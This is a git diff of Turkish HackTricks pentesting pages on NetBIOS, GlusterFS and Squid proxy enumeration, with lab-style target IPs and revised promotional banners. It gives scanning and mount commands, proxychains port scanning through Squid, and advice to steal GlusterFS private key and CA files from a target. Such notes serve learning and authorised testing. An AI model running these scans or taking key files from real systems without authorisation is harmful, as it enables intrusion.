|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,38 @@
|
|||
# 137,138,139 - NetBios Pentesting
|
||||
# 137,138,139 - Pentesting NetBios
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## NetBios Adı Hizmeti
|
||||
## NetBios Adı Servisi
|
||||
|
||||
**NetBIOS Adı Hizmeti**, **ad kaydı ve çözümleme**, **veri paketi dağıtımı** ve **oturum hizmetleri** gibi çeşitli hizmetleri içeren önemli bir rol oynar ve her hizmet için belirli bağlantı noktalarını kullanır.
|
||||
**NetBIOS Adı Servisi**, **isim kaydı ve çözümü**, **datagram dağıtımı** ve **oturum hizmetleri** gibi çeşitli hizmetleri içeren kritik bir rol oynar ve her hizmet için belirli portlar kullanır.
|
||||
|
||||
[Wikidepia'dan](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
|
||||
|
||||
* Ad kaydı ve çözümleme için ad hizmeti (portlar: 137/udp ve 137/tcp).
|
||||
* Bağlantısız iletişim için veri paketi dağıtım hizmeti (port: 138/udp).
|
||||
* Bağlantı odaklı iletişim için oturum hizmeti (port: 139/tcp).
|
||||
* İsim kaydı ve çözümü için isim servisi (portlar: 137/udp ve 137/tcp).
|
||||
* Bağlantısız iletişim için datagram dağıtım servisi (port: 138/udp).
|
||||
* Bağlantılı iletişim için oturum servisi (port: 139/tcp).
|
||||
|
||||
### Ad Hizmeti
|
||||
### İsim Servisi
|
||||
|
||||
Bir cihazın NetBIOS ağına katılabilmesi için benzersiz bir adı olması gerekir. Bu, "Ad Sorgusu" paketinin gönderildiği bir **yayın süreci** ile gerçekleştirilir. Herhangi bir itiraz alınmazsa, ad uygun olarak kabul edilir. Alternatif olarak, bir **Ad Hizmeti sunucusu**, adın uygunluğunu kontrol etmek veya bir adı bir IP adresine çözmek için doğrudan sorgulanabilir. `nmblookup`, `nbtscan` ve `nmap` gibi araçlar, NetBIOS hizmetlerini sıralamak, sunucu adlarını ve MAC adreslerini ortaya çıkarmak için kullanılır.
|
||||
Bir cihazın NetBIOS ağında yer alabilmesi için benzersiz bir isme sahip olması gerekir. Bu, "İsim Sorgusu" paketinin gönderildiği bir **yayın süreci** ile sağlanır. Eğer itiraz gelmezse, isim kullanılabilir olarak kabul edilir. Alternatif olarak, bir **İsim Servisi sunucusu** doğrudan sorgulanarak isim kullanılabilirliği kontrol edilebilir veya bir ismin IP adresine çözülmesi sağlanabilir. `nmblookup`, `nbtscan` ve `nmap` gibi araçlar, NetBIOS hizmetlerini listelemek için kullanılır ve sunucu isimleri ile MAC adreslerini ortaya çıkarır.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
NetBIOS hizmetini sıralarken, sunucunun kullandığı isimleri ve sunucunun MAC adresini elde edebilirsiniz.
|
||||
NetBIOS hizmetini listeleyerek, sunucunun kullandığı isimleri ve sunucunun MAC adresini elde edebilirsiniz.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
|
@ -39,29 +40,29 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
|||
```
|
||||
### Datagram Dağıtım Servisi
|
||||
|
||||
NetBIOS datagramları, UDP üzerinden bağlantısız iletişimi destekleyerek doğrudan mesajlaşma veya tüm ağ isimlerine yayın yapmayı sağlar. Bu hizmet, **138/udp** portunu kullanır.
|
||||
NetBIOS datagramları, doğrudan mesajlaşma veya tüm ağ adlarına yayın yapmayı destekleyen, UDP üzerinden bağlantısız iletişim sağlar. Bu hizmet **138/udp** portunu kullanır.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Oturum Hizmeti
|
||||
### Oturum Servisi
|
||||
|
||||
Bağlantı tabanlı etkileşimler için **Oturum Hizmeti**, iki cihaz arasında bir konuşma sağlar ve **139/tcp** portu üzerinden **TCP** bağlantılarını kullanır. Bir oturum, "Oturum İsteği" paketi ile başlar ve yanıta bağlı olarak kurulabilir. Hizmet, daha büyük mesajları, hata tespitini ve kurtarmayı destekler ve TCP, akış kontrolü ve paket yeniden iletimini yönetir.
|
||||
Bağlantı odaklı etkileşimler için, **Oturum Servisi** iki cihaz arasında bir konuşma sağlar ve **TCP** bağlantılarını **139/tcp** portu üzerinden kullanır. Bir oturum, "Oturum İsteği" paketi ile başlar ve yanıtına göre kurulabilir. Servis, daha büyük mesajları, hata tespiti ve kurtarma işlemlerini destekler; TCP ise akış kontrolü ve paket yeniden iletimini yönetir.
|
||||
|
||||
Bir oturum içindeki veri iletimi, **Oturum Mesajı paketleri** ile gerçekleşir ve oturumlar TCP bağlantısının kapatılmasıyla sona erer.
|
||||
Bir oturum içindeki veri iletimi, **Oturum Mesajı paketleri** ile gerçekleşir ve oturumlar, TCP bağlantısının kapatılmasıyla sonlandırılır.
|
||||
|
||||
Bu hizmetler, **NetBIOS** işlevselliği için önemlidir ve ağ üzerinde verimli iletişim ve kaynak paylaşımını sağlar. TCP ve IP protokollerine ilişkin daha fazla bilgi için ilgili [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) ve [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) sayfalarına başvurun.
|
||||
Bu hizmetler, **NetBIOS** işlevselliği için hayati öneme sahiptir ve bir ağ üzerinde verimli iletişim ve kaynak paylaşımını sağlar. TCP ve IP protokolleri hakkında daha fazla bilgi için ilgili [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) ve [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) sayfalarına bakın.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
**Bu hizmeti nasıl numaralandıracağınızı öğrenmek için bir sonraki sayfayı okuyun:**
|
||||
**Bu hizmeti nasıl sayacağınızı öğrenmek için sonraki sayfayı okuyun:**
|
||||
|
||||
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
||||
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## HackTricks Otomatik Komutları
|
||||
## HackTricks Otomatik Komutlar
|
||||
```
|
||||
Protocol_Name: Netbios #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -84,16 +85,17 @@ Name: Find Names
|
|||
Description: Three scans to find the names of the server
|
||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
**GlusterFS**, birden fazla sunucudan gelen depolamayı birleştiren bir **dağıtık dosya sistemi**dir ve böylece birleşik bir sistem oluşturur. **Keyfi ölçeklenebilirlik** sağlar, yani genel dosya sistemi etkilenmeden depolama sunucularını kolayca ekleyebilir veya kaldırabilirsiniz. Bu, verileriniz için yüksek **uygunluk** ve **hata toleransı** sağlar. GlusterFS ile, altındaki sunucu altyapısından bağımsız olarak dosyalarınıza yerel olarak erişebilirsiniz. Birden fazla sunucu üzerinde büyük miktarda veriyi yönetmek için güçlü ve esnek bir çözüm sunar.
|
||||
**GlusterFS**, birden fazla sunucudan depolamayı birleştiren **dağıtık dosya sistemi**dir. **Keyfi ölçeklenebilirlik** sağlar, bu da depolama sunucularını genel dosya sistemini kesintiye uğratmadan kolayca ekleyip çıkarabileceğiniz anlamına gelir. Bu, verileriniz için yüksek **erişilebilirlik** ve **hata toleransı** sağlar. GlusterFS ile dosyalarınıza, temel sunucu altyapısından bağımsız olarak, sanki yerel olarak depolanmış gibi erişebilirsiniz. Birden fazla sunucu arasında büyük miktarda veriyi yönetmek için güçlü ve esnek bir çözüm sunar.
|
||||
|
||||
**Varsayılan portlar**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (ve sonrası)\
|
||||
49152 portu için, daha fazla brick kullanmak için 1 artırılmış portların açık olması gerekmektedir. _Daha önce 24009 portu yerine 49152 portu kullanılıyordu._
|
||||
**Varsayılan portlar**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (sonrası)\
|
||||
Port 49152 için, daha fazla brick kullanmak için 1 artırılmış portların açık olması gerekir. _Daha önce 24009 portu 49152 yerine kullanılıyordu._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
|
@ -26,35 +27,36 @@ PORT STATE SERVICE
|
|||
```
|
||||
## Enumeration
|
||||
|
||||
Bu dosya sistemiyle etkileşim kurmak için [**GlusterFS istemcisi**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`) kurmanız gerekmektedir.
|
||||
Bu dosya sistemi ile etkileşimde bulunmak için [**GlusterFS istemcisi**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`) yüklemeniz gerekir.
|
||||
|
||||
Kullanılabilir olan hacimleri listelemek ve bağlamak için aşağıdaki komutları kullanabilirsiniz:
|
||||
Mevcut hacimleri listelemek ve bağlamak için şunları kullanabilirsiniz:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
```
|
||||
Eğer **dosya sistemi bağlama hatası** alıyorsanız, logları `/var/log/glusterfs/` dizininde kontrol edebilirsiniz.
|
||||
Eğer **dosya sistemini bağlamaya çalışırken bir hata alıyorsanız**, `/var/log/glusterfs/` içindeki logları kontrol edebilirsiniz.
|
||||
|
||||
Sertifikalarla ilgili **hataları düzeltebilirsiniz** (eğer sisteme erişiminiz varsa) şu dosyaları çalarak:
|
||||
**Sertifikaları belirten hatalar** dosyaları çalarak düzeltilebilir (sisteme erişiminiz varsa):
|
||||
|
||||
* /etc/ssl/glusterfs.ca
|
||||
* /etc/ssl/glusterfs.key
|
||||
* /etc/ssl/glusterfs.ca.pem
|
||||
|
||||
Ve bu dosyaları kendi makinenizin `/etc/ssl` veya `/usr/lib/ssl` dizinine kaydedebilirsiniz (farklı bir dizin kullanılıyorsa, loglarda "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" gibi satırları kontrol edin).
|
||||
Ve bunları kendi makinenizdeki `/etc/ssl` veya `/usr/lib/ssl` dizinine kaydedebilirsiniz (farklı bir dizin kullanılıyorsa, loglarda "_/usr/lib/ssl/glusterfs.pem_ adresindeki sertifikamızı yükleyemedik" gibi satırlara bakın).
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,46 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
[Wikipedia'dan](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
[Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\))'dan:
|
||||
|
||||
> **Squid**, önbelleğe alan ve yönlendiren HTTP web proxy'sidir. Tekrarlanan istekleri önbelleğe alarak bir web sunucusunu hızlandırma, ağ kaynaklarını paylaşan bir grup insan için web, DNS ve diğer bilgisayar ağ aramalarını önbelleğe alma ve trafiği filtreleyerek güvenliği sağlama dahil olmak üzere geniş bir kullanım alanına sahiptir. Başlıca HTTP ve FTP için kullanılan Squid, Internet Gopher, SSL, TLS ve HTTPS dahil olmak üzere birkaç diğer protokol için sınırlı desteği içerir. Squid, Privoxy'nin aksine SOCKS protokolünü desteklemez, ancak Squid, SOCKS desteği sağlamak için kullanılabilir.
|
||||
> **Squid**, bir önbellekleme ve yönlendirme HTTP web proxy'sidir. Tekrar eden istekleri önbelleğe alarak bir web sunucusunu hızlandırmak, web, DNS ve diğer bilgisayar ağı sorgularını ağ kaynaklarını paylaşan bir grup insan için önbelleğe almak ve trafiği filtreleyerek güvenliği artırmak gibi çok çeşitli kullanımlara sahiptir. Öncelikle HTTP ve FTP için kullanılsa da, Squid, Internet Gopher, SSL, TLS ve HTTPS dahil olmak üzere birkaç diğer protokol için sınırlı destek sunar. Squid, SOCKS protokolünü desteklemez; bu, Squid'in SOCKS desteği sağlamak için kullanılabileceği Privoxy ile karşılaştırıldığında bir farktır.
|
||||
|
||||
**Varsayılan port:** 3128
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3128/tcp open http-proxy Squid http proxy 4.11
|
||||
```
|
||||
# Numaralandırma
|
||||
# Enumeration
|
||||
|
||||
## Web Proxy
|
||||
|
||||
Bu keşfedilen servisi tarayıcınızda bir proxy olarak ayarlamayı deneyebilirsiniz. Ancak, eğer HTTP kimlik doğrulaması ile yapılandırılmışsa, kullanıcı adı ve şifre istenecektir.
|
||||
Bu keşfedilen hizmeti tarayıcınızda proxy olarak ayarlamayı deneyebilirsiniz. Ancak, HTTP kimlik doğrulaması ile yapılandırılmışsa, kullanıcı adı ve şifre için sizden istenecektir.
|
||||
```bash
|
||||
# Try to proxify curl
|
||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||
```
|
||||
## Nmap proxified
|
||||
|
||||
Proxy'yi **taramak için iç bağlantı noktalarını taramayı deneyebilirsiniz**.\
|
||||
Proxychains'i yapılandırın ve squid proxy'sini kullanmak için proxichains.conf dosyasının sonuna aşağıdaki satırı ekleyin: `http 10.10.10.10 3128`
|
||||
Kimlik doğrulaması gerektiren proxy'ler için, kullanıcı adını ve şifreyi yapılandırmaya ekleyin: `http 10.10.10.10 3128 kullanıcıadı şifre`.
|
||||
Proxy'yi **nmap ile iç portları taramak için kullanmayı** deneyebilirsiniz.\
|
||||
Proxychains'i squid proxy'sini kullanacak şekilde yapılandırın, proxichains.conf dosyasının sonuna şu satırı ekleyin: `http 10.10.10.10 3128`\
|
||||
Kimlik doğrulaması gerektiren proxy'ler için, yapılandırmaya kullanıcı adı ve şifreyi ekleyerek kimlik bilgilerini ekleyin: `http 10.10.10.10 3128 username passw0rd`.
|
||||
|
||||
Ardından, yerel makineden ana bilgisayarı taramak için proxychains ile nmap'i çalıştırın: `proxychains nmap -sT -n -p- localhost`
|
||||
Ardından, yerel olarak **host'u taramak için proxychains ile nmap'i çalıştırın**: `proxychains nmap -sT -n -p- localhost`
|
||||
|
||||
## SPOSE Scanner
|
||||
|
||||
|
@ -47,16 +48,17 @@ Alternatif olarak, Squid Pivoting Open Port Scanner ([spose.py](https://github.c
|
|||
```bash
|
||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
